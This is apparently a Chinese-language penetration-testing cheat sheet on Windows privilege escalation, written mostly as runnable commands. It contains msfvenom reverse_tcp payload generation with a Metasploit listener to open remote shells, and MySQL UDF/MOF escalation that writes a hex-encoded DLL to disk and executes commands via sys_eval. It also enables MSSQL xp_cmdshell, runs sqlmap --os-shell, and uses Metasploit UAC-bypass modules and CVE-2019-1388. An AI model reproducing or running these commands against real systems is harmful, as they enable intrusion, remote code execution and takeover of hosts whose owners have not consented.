提权方式
1、系统漏洞提权 *
2、数据库提权 *
3、第三方软件提权
4、系统配置错误提权
脚本提权
数据库提权
mysql:mof、udf
mssql:xp_cmdshell
开机启动项提权
用户开机启动项
系统开机启动项
bypass_uac提权
进程注入
内存注入
注册表劫持
用户+组
组 | administrators 管理员组,最高权限 任何用户加入这个组,就有管理员权限,可以开关机、远程桌面、修改配置等 users 用户组 普通账户,通过屏幕登录系统,不能远程登录 remote desktops groups 远程桌面组 远程桌面组,用户加入后,可以3389登录 电源管理、开关机、磁盘…组 |
用户 | server系统: administrator 管理员,最高权限用户 Guest 来宾账户,默认禁用 注意: server 2012-2019中,administrator与Guest都默认禁用 安装系统时设置激活状态账户,在机房与云服务器中,默认设置administrator为激活账户 desktop系统: windows7及以后 安装系统时,设置自定义激活账户,加入管理员组 |
权限
Guest -> 普通账户 -> 电源管理、计划任务… -> administrator -> system
network server(网络权限,低)、local server(本地权限,高)
在服务(本地) -> 属性 ->登录中可更改系统账户或自定义账户,更改服务运行的权限
提权流程
获得目标机shell | |
---|---|
查看目标机补丁记录 | systeminfo -> 修补程序 漏洞发布时间:2019-12 操作系统发布时间:新版本不受影响 漏洞影响范围:全版本 补丁编号:KB4525235 系统安装时间:最新安装的可能包含更多补丁 补丁包:多个补丁合集,不知道具体补丁版本 注意: vps中集成最新补丁,查看不到补丁版本,且可能无法提权 |
寻找对应的EXP | 补丁与提权脚本在线转换: http://blog.neargle.com/win-powerup-exp-index/# (对应信息较旧) 根据补丁查找脚本: github搜索windows-kernel 如: https://github.com/SecWiki/windows-kernel-exploits 提权脚本* exploit-db.com 漏洞库 |
使用EXP进行提权 | 注意查看脚本说明: 编译、使用方法等 |
msf提权
方法 | 语句 |
---|---|
开启两个终端 | ctrl+shift+F1~F7 |
其中运行此命令 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.21.23 lport=1111 -f psh-cmd 无文件落地,直接执行 或 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.21.23 lport=1111 -f exe -o msf.exe 生成文件 |
另一个进入msfconsole,开启监听(设置session) | use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 1111 set exitonsession false 允许建立多个会话 run |
常用meterpreter命令
命令 | 说明 |
---|---|
systeminfo | 查看系统信息 |
getuid | 查看当前权限 |
getsystem | 自动提权 |
upload x | 传文件 |
shell | 切换至命令行版本 |
常用msf命令
命令 | 说明 |
---|---|
search | 搜索 |
use id | 使用脚本 |
show options | 显示参数 |
set x | 设置参数 |
run | 启动 |
sessions | 查看会话 |
sessions id | 使用session |
windows数据库提权
前提:获得Mysql的root权限且数据库以system权限运行
核心:文件导出功能
前提:(mof提权、udf提权、开机启动项提权)
拥有mysql的root权限
mysql以system运行
写文件开关开启
说明 | 方法 |
---|---|
mof提权 | c:/windows/system32/wbem/mof mof编程语法,可写脚本,脚本每分钟执行一次 注:windows 2003、xp可用,需要有读写权限 二进制形式读取内容,使用 select unhex('xxx') into dumpfile 'x/mof/x.mof' 语句写入 可以增加账号(每个文件只能执行一条语句)或者执行后门文件 |
UDF提权 | 通过自定义函数提权 使用前提、payload见udf.txt文件 |
数据库版本 | 操作系统 | udf.dll文件导出路径 |
---|---|---|
<5.0 | 所有操作系统 | 导出路径随意 |
<=5.1 | windows2003 windows2000 |
c:\windows\system32\udf.dll c:\winnt\system32\udf.dll |
>5.1 | 所有操作系统 | MySQL安装目录下的\lib\plugin\udf.dll |
注:
/lib/plugin目录本身是不存在的,可以利用NTFS ADS流来创建文件夹
select 'xxx' into dumpfile 'MySQL目录\\lib::$INDEX_ALLOCATION';
select 'xxx' into dumpfile 'MySQL目录\\lib\\plugin::$INDEX_ALLOCATION';
常用mysql查询语句
语句 | 说明 |
---|---|
select version(); | 查看版本 |
show variables like ‘%version_compile_os%’; | 查看位数 |
select @@datadir | 查看数据库安装路径 |
show variables like ‘%plugin%’ | 查看插件路径 |
show variables like ‘%secure%’ | 查看是否可读写文件 |
create FUNCTION sys_eval RETURNS string SONAME ‘x.dll’ | 使用dll文件创建函数 |
select sys_eval(‘whoami’) | 执行命令 |
DROP FUNCTION sys_eval | 删除函数 |
UDF提权步骤
说明 | 语句 |
---|---|
查看数据库版本 | select version(); |
查看数据库位数 | show variables like ‘%version_compile_os%’; |
查看安装路径 | select @@datadir; |
查看插件路径 | show variables like ‘%plugin%’; |
新建插件目录 (若是不存在) | select ‘xxx’ into dumpfile ‘c:\phpStudy\MySQL\lib::$INDEX_ALLOCATION’; select ‘xxx’ into dumpfile ‘c:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION’; |
根据数据库版本、位数选择payload | select unhex(‘4D5A900…00000000’) into dumpfile ‘c:\phpStudy\MySQL\lib\plugin\11.dll’; |
使用dll文件创建命令执行函数 | CREATE FUNCTION sys_eval RETURNS string SONAME ‘11.dll’; |
执行命令 | select sys_eval(‘whoami’); |
sqlmap提权
pip install pymysql
sqlmap -d mysql://root:[email protected]:3306/mysql --os-shell --batch
开机启动项提权(>2008)
bat、vbs、ps1、exe脚本
路径 | 说明 |
---|---|
用户目录下开机启动项 C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs |
用户目录下的开机启动项只有在该用户登录时才会启动,重启无法触发。 |
系统开机启动项 C:\ProgramData\Microsoft\Windows\Start Menu\Programs |
开机启动 |
MSSQL数据库提权
默认xp_cmd处于关闭状态
语句 | 说明 |
---|---|
select count(*) from master.dbo.sysobjects where xtype=”x” and name=”xp_cmdshell” | 判断是否开启xp_cmdshell |
exec sp_configure ‘show advanced options’,1; | 允许修改高级参数 |
reconfigure; | 刷新配置 |
exec sp_configure ‘xp_cmdshell’,1; | 打开xp_cmdshell拓展 |
reconfigure; | 刷新配置 |
sa账户、mssql以system运行 | exec master.dbo.xp_cmdshell ‘whoami’; 或 exec xp_cmdshell ‘whoami’; |
Bypass UAC
使用MSF绕过
payload | 说明 |
---|---|
exploit/windows/local/bypassuac | bypassuac 模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC,它将为我们生成另一个关闭UAC的shell |
exploit/windows/local/bypassuac_injection (内存注入) | bypassuac_injection 模块直接运行在内存的反射DLL中,不会接触目标机的硬盘,从而降低了被杀毒软件检测出来的概率 |
exploit/windows/local/bypassuac_eventvwr | bypassuac_eventvwr 模块通过在当前用户配置单元下劫持注册表中的特殊键,在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC |
使用
说明 | 语句 |
---|---|
bypassuac模块 | use exploit/windows/local/bypassuac set payload windows/meterpreter/reverse_tcp set lhost _ip set session _id run |
RunAs 模块 (会弹窗,需要手动确定,不推荐) | use exploit/windows/local/ask set session _id run |
CVE-2019- 1388实现bypass UAC | 下载地址(HHUPD.EXE) https://github.com/jas502n/CVE-2019-1388 在目标机器中双击运行,点击另存网页,打开cmd,即可获得管理员权限 |